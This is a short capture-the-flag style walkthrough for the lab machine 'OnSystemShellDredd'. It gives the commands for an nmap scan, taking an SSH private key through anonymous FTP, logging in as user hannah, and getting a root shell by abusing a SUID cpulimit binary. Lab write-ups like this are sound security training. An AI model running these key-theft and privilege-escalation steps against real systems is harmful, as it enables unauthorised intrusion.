> For the complete documentation index, see [llms.txt](https://viperone.gitbook.io/pentest-everything/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://viperone.gitbook.io/pentest-everything/writeups/pg-play-or-vulnhub/linux/onsystemshelldredd.md).

# OnSystemShellDredd

## Nmap

```
sudo nmap 192.168.172.130 -p- -sS -sV

PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 3.0.3
61000/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

FTP on the host is open to anonymous login. When logged in use `ls -la` to view hidden files. Upon moving into the .hannah directory ensure **binary** mode is enabled then grab the id\_rsa.

![](/files/-MXOHs5IetQ_HsYhH2bI)

Ensure to change the permissions on the id\_rsa to make it usable.

```
chmod 600 id_rsa
```

Then proceed to login as the user hannah specifying port 61000.

```
ssh -p 61000 -i id_rsa hannah@192.168.172.130
```

![](/files/-MXOI980EedT4d3dBplH)

Running linpeas on the target machine after transferring over finds the binary cpulimit has a SUID bit set.

![](/files/-MXOKVkvPGajwqmeVQEZ)

Checking GTFOBins against this binary reports the following:

![](/files/-MXOKd75TvBrL4fIJK19)

We can then use the following command to gain a root shell:

```
/usr/bin/cpulimit -l 100 -f -- /bin/sh -p
```

![](/files/-MXOLXMy7M7QN6kugE82)